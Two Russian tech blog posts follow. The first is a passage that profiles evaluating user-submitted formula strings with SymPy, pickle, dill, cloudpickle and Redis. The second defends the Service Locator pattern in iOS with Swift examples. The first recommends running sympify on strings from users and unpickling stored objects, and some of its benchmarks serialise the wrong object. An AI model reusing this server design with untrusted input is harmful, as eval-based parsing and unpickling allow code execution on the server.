0.0009795801398659112\*x4\_\*x7\_ + 0.040834615376717426\*x4\_ + 8.450760663750168e-5\*x5\_\*x6\_\*x7\_ — 0.003522770085887094\*x5\_\*x6\_ — 0.0014580782487184623\*x5\_\*x7\_ + 0.060781208246755536\*x5\_ — 0.0027068382268636976\*x6\_\*x7\_ + 0.11283680975413288\*x6\_ + 0.04670327439658878\*x7\_ + 0.5527559695044361
Формула поступает в виде строки и подлежит сохранению на сервере и вызову по запросам пользователей. Предполагается, что в запросах пользователей передаются параметры x1\_, x2\_,… в виде простого списка значений. Требуется определить способ организации подобных вычислений с уклоном на минимизацию времени выполнения.
#### Особенность 1
Время формирования самих формул достаточно велико (до пары минут для приведенной формулы), поэтому время обработки и хранения поступающих формул-строк в данной задаче не является критичным (в дальнейшем будет показано, что это величины разных порядков).
#### Особенность 2
Предполагается, что основной объем запросов будет носить групповой характер, т.е. в одном запросе могут передаваться несколько наборов значений x1\_, x2\_,… для расчета по одной и той же формуле.
#### Инструменты
Язык программирования — [Python 3x](http://python.org). В качестве СУБД — [Redis](http://redis.io) (NoSQL).
Пару слов про Redis. На мой взгляд данная задача — прекрасный пример для его использования: пользователь формирует формулу; формула обрабатывается и отправляется в хранилище; далее она извлекается из хранилища и обрабатывается в случае, если кто-то захотел ей воспользоваться; переданные по запросу значения подставляются в формулу и выдается результат. Всё. Единственное, что необходимо знать пользователю, который хочет что-то рассчитать — количество уникальных переменных в формуле. В Redis есть встроенный механизм хэшей, так почему бы им и не воспользоваться?
**Пример использования Python + Redis**
```
import redis
r = redis.StrictRedis(host='localhost', port=6379, db=0) #подключение к серверу redis
r.hset('expr:1', 'expr', expr) #запись самой формулы в хэш 'expr:1'
r.hset('expr:1', 'params', num) #запись числа параметров в хэш 'expr:1'
r.hget('expr:1', 'expr') #извлечение формулы из хэша 'expr:1'
r.hget('expr:1', 'params') #извлечение числа параметров из хэша 'expr:1'
```
Для работы с самими формулами воспользуемся замечательной библиотекой [Sympy](http://sympy.org), которая умеет переводить формулу-строку в символьное выражение и производить необходимые вычисления (а вообще библиотека открывает огромный математический функционал для работы с символьными выражениями).
### Профилирование и оптимизация
Для измерения времени выполнения участков кода воспользуемся следующим классом (где-то позаимствованным в просторах интернета):
```
class Profiler(object): #профилировщик времени
def __init__(self,info=''):
self.info = info
def __enter__(self):
self._startTime = time()
def __exit__(self, type, value, traceback):
print(self.info, "Elapsed time: {:.3f} sec".format(time() - self._startTime))
```
Поехали… Для чистоты эксперимента введем num\_iter = 1000 — число испытаний.
Протестируем профилировщик на чтении формулы-строки из файла:
```
with Profiler('read (' + str(num_iter) + '): cycle'):
for i in range(num_iter):
f = open('expr.txt')
expr_txt = f.read()
f.close()
>>read (1000): cycle Elapsed time: 0.014 sec
```
Формула-строка загружена. Теперь определим сколько же в ней переменных и какие они (должны же мы знать в какую переменную именно подставлять значения):
```
with Profiler('find unique sorted symbols (' + str(num_iter) + '): cycle'):
for i in range(num_iter):
symbols_set = set()
result = re.findall(r"x\d_", expr_txt)
for match in result:
symbols_set.add(match)
symbols_set = sorted(symbols_set)
symbols_list = symbols(symbols_set)
>>find unique sorted symbols (1000): cycle Elapsed time: 0.156 sec
```
Полученное время вполне устраивает. Теперь переведем формулу-строку в символьное выражение:
```
with Profiler('sympify'):
expr = sympify(expr_txt)
>>sympify Elapsed time: 0.426 sec
```
В этом виде ее уже можно использовать для вычислений. Попробуем:
```
with Profiler('subs cycle (' + str(num_iter) + '): cycle'):
for i in range(num_iter):
expr_copy = copy.copy(expr)
for x in symbols_list:
expr_copy = expr_copy.subs(x,1)
>>subs cycle (1000): cycle Elapsed time: 0.245 sec
```
Здесь есть особенность: sympy не умеет (?) подставлять сразу все значения в переменные символьного выражения. Приходится пользоваться циклом. В результате выполнения в expr\_copy получаем вещественное число.
В sympy есть возможность преобразовать символьное выражение в лямбда-функцию с использованием модуля numpy, что теоретически должно ускорить расчеты. Осуществим перевод:
```
with Profiler('lambdify'):
func = lambdify(tuple(symbols_list), expr, 'numpy') # returns a numpy-ready function
>>lambdify Elapsed time: 0.114 sec
```
Не слишком долго получилось, что радует. Теперь проверим как быстро будут осуществляться вычисления:
```
with Profiler('subs cycle (' + str(num_iter) + '): lambdify'):
for i in range(num_iter):
func(*[1 for i in range(len(symbols_set))])
>>subs cycle (1000): lambdify Elapsed time: 0.026 sec
```
Вот это уровень! Быстрее почти на порядок. Особенно вкусно, если учесть необходимость в групповых запросах (особенность 2). Проверим на всякий случай совпадение значений:
```
print('exp1 == exp2:', round(expr_copy,12) == round(func(*[1 for i in range(len(symbols_set))]),12))
>>exp1 == exp2: True
```
#### Вывод 1
Хранить строку-формулу нецелесообразно — велико время ее преобразования для вычислений. Имеет смысл хранить либо символьное выражение, либо лямбда-функцию.
Попробуем разобраться с хранением. Символьное выражение — класс sympy, лямбда функция — также класс (в особенности не вникал). Будем пробовать сериализовать с помощью встроенного pickle, cloudpickle, dill:
```
with Profiler('pickle_dumps cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
pickle_dump = pickle.dumps(expr)
with Profiler('pickle_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
pickle.loads(pickle_dump)
print()
with Profiler('cloudpickle_dumps cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
cloudpickle_dump = cloudpickle.dumps(expr)
with Profiler('cloudpickle_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
cloudpickle.loads(cloudpickle_dump)
print()
with Profiler('dill_dumps cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
dill_dump = dill.dumps(expr)
with Profiler('dill_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
dill.loads(dill_dump)
>>pickle_dumps cycle (1000): sympifyed expr Elapsed time: 0.430 sec
>>pickle_loads cycle (1000): sympifyed expr Elapsed time: 2.320 sec
>>
>>cloudpickle_dumps cycle (1000): sympifyed expr Elapsed time: 7.584 sec
>>cloudpickle_loads cycle (1000): sympifyed expr Elapsed time: 2.314 sec
>>
>>dill_dumps cycle (1000): sympifyed expr Elapsed time: 8.259 sec
>>dill_loads cycle (1000): sympifyed expr Elapsed time: 2.806 sec
```
Отметим, что pickle супер быстро сериализует символьные выражения, если сравнивать с «коллегами». Время десериализации отличается, но уже не так существенно. Теперь попробует протестировать сериализацию/десериализацию в связке с хранением/загрузкой Redis. Следует отметить тот факт, что pickle не сумел сериализовать/десериализовать лямбда-функцию.
```
with Profiler('redis_set cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
r.set('expr', pickle_dump)
with Profiler('redis_get cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
r.get('expr')
print()
with Profiler('pickle_dumps + redis_set cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
r.set('expr', pickle.dumps(expr))
with Profiler('redis_get + pickle_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
pickle.loads(r.get('expr'))
print()
with Profiler('cloudpickle_dumps + redis_set cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
r.set('expr', cloudpickle.dumps(expr))
with Profiler('redis_get + cloudpickle_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
cloudpickle.loads(r.get('expr'))
print()
with Profiler('dill_dumps + redis_set cycle (' + str(num_iter) + '): lambdifyed expr'):
for i in range(num_iter):
r.set('expr', dill.dumps(expr))
with Profiler('redis_get + dill_loads cycle (' + str(num_iter) + '): lambdifyed expr'):
for i in range(num_iter):
dill.loads(r.get('expr'))
>>redis_set cycle (1000): sympifyed expr Elapsed time: 0.066 sec
>>redis_get cycle (1000): sympifyed expr Elapsed time: 0.051 sec
>>
>>pickle_dumps + redis_set cycle (1000): sympifyed expr Elapsed time: 0.524 sec
>>redis_get + pickle_loads cycle (1000): sympifyed expr Elapsed time: 2.437 sec
>>
>>cloudpickle_dumps + redis_set cycle (1000): sympifyed expr Elapsed time: 7.659 sec
>>redis_get + cloudpickle_loads cycle (1000): sympifyed expr Elapsed time: 2.492 sec
>>
>>dill_dumps + redis_set cycle (1000): lambdifyed expr Elapsed time: 8.333 sec
>>redis_get + dill_loads cycle (1000): lambdifyed expr Elapsed time: 2.932 sec
```
cloudpickle и dill с сериализацией/десериализацией лямбда-функции справились (в примере выше, правда, cloudpickle работал с символьным выражением).
#### Вывод 2
Redis показывает хороший результат чтение/запись 1000 значений в одном потоке. Чтобы сделать выбор в дальнейшем требуется профилировать полные цепочки действий от поступления формулы-строки до выдачи пользователю рассчитанного по ней значения:
```
print('\nFINAL performance test:')
with Profiler('sympify + pickle_dumps_sympifyed_expr + redis_set cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
expr = sympify(expr_txt)
r.set('expr', pickle.dumps(expr))
with Profiler('redis_get + pickle_loads_sympifyed_expr + subs cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
loaded_expr = pickle.loads(r.get('expr'))
expr_copy = copy.copy(loaded_expr)
for x in symbols_list:
expr_copy = expr_copy.subs(x,1)
with Profiler('sympify + lambdify + dill_dumps_lambdifyed_expr + redis_set cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
expr = sympify(expr_txt)
func = lambdify(tuple(symbols_list), expr, 'numpy')
r.set('expr', dill.dumps(expr))
with Profiler('redis_get + dill_loads_lambdifyed_expr + subs cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
loaded_expr = dill.loads(r.get('expr'))
func(*[1 for i in range(len(symbols_set))])
with Profiler('sympify + cloudpickle_dumps_sympifyed_expr + redis_set cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
expr = sympify(expr_txt)
r.set('expr', cloudpickle.dumps(expr))
with Profiler('redis_get + cloudpickle_loads_sympifyed_expr + subs cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
loaded_expr = cloudpickle.loads(r.get('expr'))
expr_copy = copy.copy(loaded_expr)
for x in symbols_list:
expr_copy = expr_copy.subs(x,1)
with Profiler('sympify + lambdify + cloudpickle_dumps_lambdifyed_expr + redis_set cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
expr = sympify(expr_txt)
func = lambdify(tuple(symbols_list), expr, 'numpy')
r.set('expr', cloudpickle.dumps(expr))
with Profiler('redis_get + cloudpickle_loads_lambdifyed_expr + subs cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
loaded_expr = cloudpickle.loads(r.get('expr'))
func(*[1 for i in range(len(symbols_set))])
>>FINAL performance test:
>>sympify + pickle_dumps_sympifyed_expr + redis_set cycle (1000): Elapsed time: 15.075 sec
>>redis_get + pickle_loads_sympifyed_expr + subs cycle (1000): Elapsed time: 2.929 sec
>>sympify + lambdify + dill_dumps_lambdifyed_expr + redis_set cycle (1000): Elapsed time: 87.707 sec
>>redis_get + dill_loads_lambdifyed_expr + subs cycle (1000): Elapsed time: 2.356 sec
>>sympify + cloudpickle_dumps_sympifyed_expr + redis_set cycle (1000): Elapsed time: 23.633 sec
>>redis_get + cloudpickle_loads_sympifyed_expr + subs cycle (1000): Elapsed time: 3.059 sec
>>sympify + lambdify + cloudpickle_dumps_lambdifyed_expr + redis_set cycle (1000): Elapsed time: 86.739 sec
>>redis_get + cloudpickle_loads_lambdifyed_expr + subs cycle (1000): Elapsed time: 1.721 sec
```
#### Вывод 3
Создание лямбда-функции и ее сериализация с помощью cloudpickle, конечно, оказались самыми долгими, НО, если вспомнить (особенность 1) некритичность времени обработки и хранения, то… Cloudpickle молодец! Удалось в рамках одного потока вытащить из базы, десериализовать и рассчитать 1000 раз за 1,7 сек. Что, в целом, хорошо, учитывая сложность исходной формулы-строки.
Попробуем оценить производительность для групповых запросов. Будем менять число групп параметров порядками с надеждой на улучшение результата:
```
print('\nTEST performance for complex requests:')
for x in [1,10,100,1000]:
with Profiler('redis_get + cloudpickle_loads_lambdifyed_expr + ' + str(x) + '*subs cycle (' + str(round(num_iter/x)) + '): '):
for i in range(round(num_iter/x)):
loaded_expr = cloudpickle.loads(r.get('expr'))
for j in range(x):
func(*[1 for i in range(len(symbols_set))])
>>TEST performance for complex requests:
>>redis_get + cloudpickle_loads_lambdifyed_expr + 1*subs cycle (1000): Elapsed time: 1.768 sec
>>redis_get + cloudpickle_loads_lambdifyed_expr + 10*subs cycle (100): Elapsed time: 0.204 sec
>>redis_get + cloudpickle_loads_lambdifyed_expr + 100*subs cycle (10): Elapsed time: 0.046 sec
>>redis_get + cloudpickle_loads_lambdifyed_expr + 1000*subs cycle (1): Elapsed time: 0.028 sec
```
Результат выглядит вполне жизнеспособным. Расчеты проводились на виртуальной машине со следующими характеристиками: ОС Ubuntu 16.04.2 LTS, Процессор Intel® Core(TM) i7-4720HQ CPU @ 2.60GHz (выделено 1 ядро), DDR3-1600 (выделено 1Gb).
### Заключение
Спасибо за просмотр! Буду рад конструктивной критике и интересным замечаниям.
В вопросе профилирования и оптимизации требуемых вычислений были использованы идеи и подходы, изложенные [здесь](http://stackoverflow.com/questions/34106484/evaluating-a-mathematical-expression-function-for-a-large-number-of-input-valu) (слишком «слабая» формула в примере, но хороший набор тестов) и [здесь](http://stackoverflow.com/questions/31314517/how-to-serialize-sympy-lambdified-function) (информация о сериализации лямбда-функций).
**Полный текст проведенных тестов, включая импорты библиотек**
```
import redis
import pickle
import dill
import cloudpickle
import re
import copy
from time import time
from sympy.utilities.lambdify import lambdify
from sympy import sympify, symbols
class Profiler(object): #профилировщик времени
def __init__(self,info=''):
self.info = info
def __enter__(self):
self._startTime = time()
def __exit__(self, type, value, traceback):
print(self.info, "Elapsed time: {:.3f} sec".format(time() - self._startTime))
num_iter = 1000
dill.settings['recurse'] = True
r = redis.StrictRedis(host='localhost', port=6379, db=0)
with Profiler('read (' + str(num_iter) + '): cycle'):
for i in range(num_iter):
f = open('expr.txt')
expr_txt = f.read()
f.close()
with Profiler('find unique sorted symbols (' + str(num_iter) + '): cycle'):
for i in range(num_iter):
symbols_set = set()
result = re.findall(r"x\d_", expr_txt)
for match in result:
symbols_set.add(match)
symbols_set = sorted(symbols_set)
symbols_list = symbols(symbols_set)
print()
with Profiler('sympify'):
expr = sympify(expr_txt)
with Profiler('lambdify'):
func = lambdify(tuple(symbols_list), expr, 'numpy') # returns a numpy-ready function
print()
with Profiler('subs cycle (' + str(num_iter) + '): cycle'):
for i in range(num_iter):
expr_copy = copy.copy(expr)
for x in symbols_list:
expr_copy = expr_copy.subs(x,1)
with Profiler('subs cycle (' + str(num_iter) + '): lambdify'):
for i in range(num_iter):
func(*[1 for i in range(len(symbols_set))])
print()
print('exp1 == exp2:', round(expr_copy,12) == round(func(*[1 for i in range(len(symbols_set))]),12))
print()
with Profiler('pickle_dumps cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
pickle_dump = pickle.dumps(expr)
with Profiler('pickle_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
pickle.loads(pickle_dump)
print()
with Profiler('cloudpickle_dumps cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
cloudpickle_dump = cloudpickle.dumps(expr)
with Profiler('cloudpickle_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
cloudpickle.loads(cloudpickle_dump)
print()
with Profiler('dill_dumps cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
dill_dump = dill.dumps(expr)
with Profiler('dill_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
dill.loads(dill_dump)
print()
#убедились, что все правильно считает (до 12 знака), сравнили производительность, попробуем побаловаться с redis
with Profiler('redis_set cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
r.set('expr', pickle_dump)
with Profiler('redis_get cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
r.get('expr')
print()
with Profiler('pickle_dumps + redis_set cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
r.set('expr', pickle.dumps(expr))
with Profiler('redis_get + pickle_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
pickle.loads(r.get('expr'))
print()
with Profiler('cloudpickle_dumps + redis_set cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
r.set('expr', cloudpickle.dumps(expr))
with Profiler('redis_get + cloudpickle_loads cycle (' + str(num_iter) + '): sympifyed expr'):
for i in range(num_iter):
cloudpickle.loads(r.get('expr'))
print()
with Profiler('dill_dumps + redis_set cycle (' + str(num_iter) + '): lambdifyed expr'):
for i in range(num_iter):
r.set('expr', dill.dumps(expr))
with Profiler('redis_get + dill_loads cycle (' + str(num_iter) + '): lambdifyed expr'):
for i in range(num_iter):
dill.loads(r.get('expr'))
print('\nFINAL performance test:')
with Profiler('sympify + pickle_dumps_sympifyed_expr + redis_set cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
expr = sympify(expr_txt)
r.set('expr', pickle.dumps(expr))
with Profiler('redis_get + pickle_loads_sympifyed_expr + subs cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
loaded_expr = pickle.loads(r.get('expr'))
expr_copy = copy.copy(loaded_expr)
for x in symbols_list:
expr_copy = expr_copy.subs(x,1)
with Profiler('sympify + lambdify + dill_dumps_lambdifyed_expr + redis_set cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
expr = sympify(expr_txt)
func = lambdify(tuple(symbols_list), expr, 'numpy')
r.set('expr', dill.dumps(expr))
with Profiler('redis_get + dill_loads_lambdifyed_expr + subs cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
loaded_expr = dill.loads(r.get('expr'))
func(*[1 for i in range(len(symbols_set))])
with Profiler('sympify + cloudpickle_dumps_sympifyed_expr + redis_set cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
expr = sympify(expr_txt)
r.set('expr', cloudpickle.dumps(expr))
with Profiler('redis_get + cloudpickle_loads_sympifyed_expr + subs cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
loaded_expr = cloudpickle.loads(r.get('expr'))
expr_copy = copy.copy(loaded_expr)
for x in symbols_list:
expr_copy = expr_copy.subs(x,1)
with Profiler('sympify + lambdify + cloudpickle_dumps_lambdifyed_expr + redis_set cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
expr = sympify(expr_txt)
func = lambdify(tuple(symbols_list), expr, 'numpy')
r.set('expr', cloudpickle.dumps(expr))
with Profiler('redis_get + cloudpickle_loads_lambdifyed_expr + subs cycle (' + str(num_iter) + '): '):
for i in range(num_iter):
loaded_expr = cloudpickle.loads(r.get('expr'))
func(*[1 for i in range(len(symbols_set))])
print('\nTEST performance for complex requests:')
for x in [1,10,100,1000]:
with Profiler('redis_get + cloudpickle_loads_lambdifyed_expr + ' + str(x) + '*subs cycle (' + str(round(num_iter/x)) + '): '):
for i in range(round(num_iter/x)):
loaded_expr = cloudpickle.loads(r.get('expr'))
for j in range(x):
func(*[1 for i in range(len(symbols_set))])
#r.set('expr', func)
>>read (1000): cycle Elapsed time: 0.014 sec
>>find unique sorted symbols (1000): cycle Elapsed time: 0.156 sec
>>
>>sympify Elapsed time: 0.426 sec
>>lambdify Elapsed time: 0.114 sec
>>
>>subs cycle (1000): cycle Elapsed time: 0.245 sec
>>subs cycle (1000): lambdify Elapsed time: 0.026 sec
>>
>>exp1 == exp2: True
>>
>>pickle_dumps cycle (1000): sympifyed expr Elapsed time: 0.430 sec
>>pickle_loads cycle (1000): sympifyed expr Elapsed time: 2.320 sec
>>
>>cloudpickle_dumps cycle (1000): sympifyed expr Elapsed time: 7.584 sec
>>cloudpickle_loads cycle (1000): sympifyed expr Elapsed time: 2.314 sec
>>
>>dill_dumps cycle (1000): sympifyed expr Elapsed time: 8.259 sec
>>dill_loads cycle (1000): sympifyed expr Elapsed time: 2.806 sec
>>
>>redis_set cycle (1000): sympifyed expr Elapsed time: 0.066 sec
>>redis_get cycle (1000): sympifyed expr Elapsed time: 0.051 sec
>>
>>pickle_dumps + redis_set cycle (1000): sympifyed expr Elapsed time: 0.524 sec
>>redis_get + pickle_loads cycle (1000): sympifyed expr Elapsed time: 2.437 sec
>>
>>cloudpickle_dumps + redis_set cycle (1000): sympifyed expr Elapsed time: 7.659 sec
>>redis_get + cloudpickle_loads cycle (1000): sympifyed expr Elapsed time: 2.492 sec
>>
>>dill_dumps + redis_set cycle (1000): lambdifyed expr Elapsed time: 8.333 sec
>>redis_get + dill_loads cycle (1000): lambdifyed expr Elapsed time: 2.932 sec
>>
>>FINAL performance test:
>>sympify + pickle_dumps_sympifyed_expr + redis_set cycle (1000): Elapsed time: 15.075 sec
>>redis_get + pickle_loads_sympifyed_expr + subs cycle (1000): Elapsed time: 2.929 sec
>>sympify + lambdify + dill_dumps_lambdifyed_expr + redis_set cycle (1000): Elapsed time: 87.707 sec
>>redis_get + dill_loads_lambdifyed_expr + subs cycle (1000): Elapsed time: 2.356 sec
>>sympify + cloudpickle_dumps_sympifyed_expr + redis_set cycle (1000): Elapsed time: 23.633 sec
>>redis_get + cloudpickle_loads_sympifyed_expr + subs cycle (1000): Elapsed time: 3.059 sec
>>sympify + lambdify + cloudpickle_dumps_lambdifyed_expr + redis_set cycle (1000): Elapsed time: 86.739 sec
>>redis_get + cloudpickle_loads_lambdifyed_expr + subs cycle (1000): Elapsed time: 1.721 sec
>>
>>TEST performance for complex requests:
>>redis_get + cloudpickle_loads_lambdifyed_expr + 1*subs cycle (1000): Elapsed time: 1.768 sec
>>redis_get + cloudpickle_loads_lambdifyed_expr + 10*subs cycle (100): Elapsed time: 0.204 sec
>>redis_get + cloudpickle_loads_lambdifyed_expr + 100*subs cycle (10): Elapsed time: 0.046 sec
>>redis_get + cloudpickle_loads_lambdifyed_expr + 1000*subs cycle (1): Elapsed time: 0.028 sec
```
Чтобы воспользоваться кодом, необходимо:
* Создать файл expr.txt рядом с python-скриптом и поместить в него формулу-строку соответствующего вида
* Установить библиотеки redis, dill, cloudpickle, sympy, numpy | https://habr.com/ru/post/328170/ | null | ru | null |
# Service Locator — развенчивание мифов
Удивительно, как практика, демонстрирующая хорошую производительность и удобство работы для одной платформы демонизируется в лагере приверженцев другой платформы. Эту участь в полной мере ощущает на себе паттерн Локатор сервисов, который весьма популярен в .Net, и имеет плохую репутацию в iOS.
В одних статьях к ServiceLocator относятся с пренебрежением, называя его «велосипедом». Другие доказывают что это антипаттерн. Есть те, кто пытаются сохранять нейтралитет описывая как положительные так и отрицательные стороны локатора. В немалой степени этим гонениям способствует сам Хабрахабр, где содержатся несколько подобных статей с перекрестными ссылками. Каждый новый разработчик, сталкивающийся с реализацией Локатора почти сразу же заражается пренебрежением — ну не могут же множество разработчиков критиковать одно и то же без объективных причин.
**articles**
* 2010: <https://blog.ploeh.dk/2010/02/03/ServiceLocatorisanAnti-Pattern>/
* 2015 :<https://habr.com/ru/company/rambler-co/blog/258325/>
* 2015: <https://habr.com/ru/post/270005/>
* 2016: <https://habr.com/ru/company/jugru/blog/300886/>
* 2017: <https://habr.com/ru/company/badoo/blog/344506/>
* 2018: <https://habr.com/ru/company/redmadrobot/blog/352088>
Так ли это на самом деле? Выражаясь словами одного известного персонажа «Вам не нравятся котики? Да вы просто не имеете их готовить!». В самом деле, пробовали ли Вы есть несоленое мясо? А необработанное сырое? Не приходится прилагать усилий для того чтобы выяснить, что употреблять в пищу свинину — это плохо, особенно в пятницу вечером. Так и с паттерном Локатор сервисов — чем большая распространенность сырой информации — тем больше предубеждение против нее.
 Один из величайших умов античности Тит Лукреций Кар был убежден, что солнце вращается вокруг земли несмотря на то, что в остальных частях его книги «О природе вещей», относящейся к I веку до н.э. было сделано множество точнейших научных предсказаний — от силы гравитации до ядерной физики. Не ставя под сомнение силу авторитетов, покажем, что некоторые предубеждения легко нивелировать, воспользовавшись рычагом нужной длины.
Для начала напомним, что такое локатор сервисов и для чего он может быть применен.
Сервис — это автономный объект, который инкапсулирует в себе бизнес логику и может иметь ссылки на другие объекты. По сути, экземпляр любого класса может выступать сервисом. Очень часто, вместо понятия сервиса используется понятие «менеджер». Однако, распространена ситуация, когда в качестве менеджера выступает статический класс, который манипулирует данными репозитория. Сущность же сервиса в том, что он является экземпляром класса, со всеми вытекающими последствиями. А значит, он не может существовать в вакууме — он должен иметь носителя, к которому прикреплен на время жизни приложения. Таким носителем выступает локатор сервисов.
Пользователь (приложение или разработчик) запрашивает у локатора сервисов сервис заданного типа, и получает готовый к использованию экземпляр. Очень похоже на абстрактную фабрику, не так ли? Разница в том, что каждый раз, запрашивая у локатора сервисов экземпляр заданного типа, Вы будете получать снова и снова тот же самый экземпляр, который сохраняет в себе уже использованные данные. Казалось бы, что сервис ведет себя как типичный синглтон, но это не так. Вы можете создать сколько угодно экземпляров сервиса и использовать их независимо по своему усмотрению. При этом, каждый из них будет инкапсулировать данные, которые Вы там разместите на протяжении всей своей жизни.
Для чего такое может быть нужно? Самый очевидный и горячо любимый пример — это профиль пользователя. Если Вы не используете какое-либо хранилище в виде UserSettings или CoreData, то на время жизни приложения Вам придется где-то удерживать ссылку на экземпляр класса UserProfile, для того, чтоб использовать его на различных экранах приложения. При этом, если такой экземпляр не является синглтоном, его придется перебрасывать от одной формы к другой. Трудность неминуемо возникнет когда в каком-то цикле разработки приложения Вам придется создать временного пользователя, или независимого другого пользователя. Сингтон тут же становится бутылочным горлышком. А независимые экземпляры начинают перегружать логику приложения, сложность которого экспоненциально возрастает, по мере добавления все новых и новых заинтересованных в экземпляре контроллеров.
Локатор сервисов элегантно решает эту проблему: если у Вас есть абстрактный класс UserProfile, и унаследованные от него конкретные классы DefaultUserPrifile и TemporatyUserProfile (с абсолютно пустой реализацией, т. е. фактически идентичные), то обращение к локатор сервису вернет Вам два идентичных независимых объекта.
Другая область применения локатора — передача экземпляров данных сквозь цепочку контроллеров: на первом контроллере Вы создаете (получаете) объект и модифицируете его, а на последнем — используете те данные, которые ввели на первом объекте. Если число контроллеров довольно велико и они расположены в стеке, то использовать для этих целей делегат — будет достаточно трудоемко. Аналогично, часто возникает необходимость в корне стека отобразить информацию, которая изменилась на его вершине сразу после сворачивания стека (мы же помним, что стек любит удалять все созданные в его скопе экземпляры). Однако, если на вершине стека Вы получаете сервис и модифицируете его, а после этого инициируете сворачивание стека, то когда корневой контроллер станет доступен пользователю, модифицированные данные сохранятся и будут доступны для отображения.
Вообще говоря, если Вы используете паттерн «Координатор », так как он описан в большинстве туториалов (например [здесь](https://habr.com/ru/post/444038/), [здесь](https://habr.com/ru/company/oleg-bunin/blog/423299/), [здесь](https://www.hackingwithswift.com/articles/71/how-to-use-the-coordinator-pattern-in-ios-apps), [здесь](https://www.raywenderlich.com/158-coordinator-tutorial-for-ios-getting-started) или [здесь](https://medium.com/@saad.eloulladi/ios-coordinator-pattern-in-swift-39a15aa3b01b)), то Вам нужно или размещать его экземпляр класса в AppDelegate или передавать ссылку на координатор всем ВьюКонтроллерам, которые будут его использовать. Нужно? А почему, собственно?
Лично я, предпочитаю, чтоб AppDelegate сиял чистотой. А наследоваться от ICoordinatable и задавать поле coordinator — не только тратит время (которое, как мы знаем, эквивалентно деньгам), но еще и лишает возможности человеческого декларативного программирования посредством сторибордов. Нет, это не наш метод.
Создание координатора как сервиса изящно делает недостатки достоинствами:
* вам не нужно заботится о сохранении целостности координатора;
* координатор становится доступным по всему приложению, даже в тех контроллерах, которые не наследуются от ICoordinatable;
* вы инициируете координатор только тогда, когда он нужен.
* вы можете использовать коодинатор совместно со сторибордом в произвольном (удобном Вам порядке).
* использование координатора со сторибордом позволяет создать неочевидные, но действенные механизмы навигации.
Но координатор это половина паттерна «Навигатор» (механизм перемещения по приложению, посредством вычисляемого пути при помощи роутера). При его реализации сложность возрастает на порядок. Особенности работы навигатора совместно с локатором сервисов — это отдельная широкая тема. Вернемся к нашему локатору.
К объективным причинам, которые приводят в качестве аргументации, почему Локатор сервиса плох, относят сложность его сопровождения для конкретного сервиса и невозможность контролировать состояние памяти локатора.
Традиционным механизмом создания сервиса является вот такой код:
```
...
ServiceLocator.shared.addService(CurrentUserProvider() as CurrentUserProviding)
...
let userProvider: UserProviding? = ServiceLocator.shared.getService()
guard let provider = userProvider else { return }
self.user = provider.currentUser()
```
или вот такой:
```
if let_:ProfileService = ServiceLocator.service() {
ServiceLocator.addService(ProfileService())
}
let service:ProfileService = ServiceLocator.service()!
service.update(name: "MyName")
```
Неправда ли он ужасен? Вначале нужно зарегистрировать сервис, а потом его извлечь чтоб использовать. В первом случае, гарантируется чтоб он будет существовать тогда, когда он будет запрошен. Зато второй не создает сервис раньше чем он понадобится. Если дернуть сервис нужно во множестве мест, то, альтернатива выбора может свести с ума.
Но ведь это все легко превратить вот в такой код:
```
ProfileService.service.update(name: "MyName")
```
Здесь экземпляр сервиса гарантированно существует, потому что если он отсутствует — он создается сами сервисом. Ничего лишнего.
Вторая претензия к локатору объясняется видимо тем, что разработчики, которые делают кальку паттерна с С# забывают о работе сборщика мусора, и не удосуживаются предоставить возможность очистки локатора от ненужного экземпляра, хотя это совсем не сложно:
```
ProfileService.service.remove()
```
Если этого не сделать — то при обращении к ProfileService.service() мы получим экземпляр того сервиса, с которым мы уже работали ранее в произвольном месте приложения. А вот если сделать remove(), то при обращении к сервису — Вы получите чистый экземпляр. В некоторых случаях вместо remove() можно сделать clear() очистив предопределенную часть данных, и продолжив работать все с тем же экземпляром.
В тестовом приложении демонстрируется согласованная работа двух сервисов: профиля пользователя и координатора. Координатор — не является целью статьи, а лишь удобный пример.
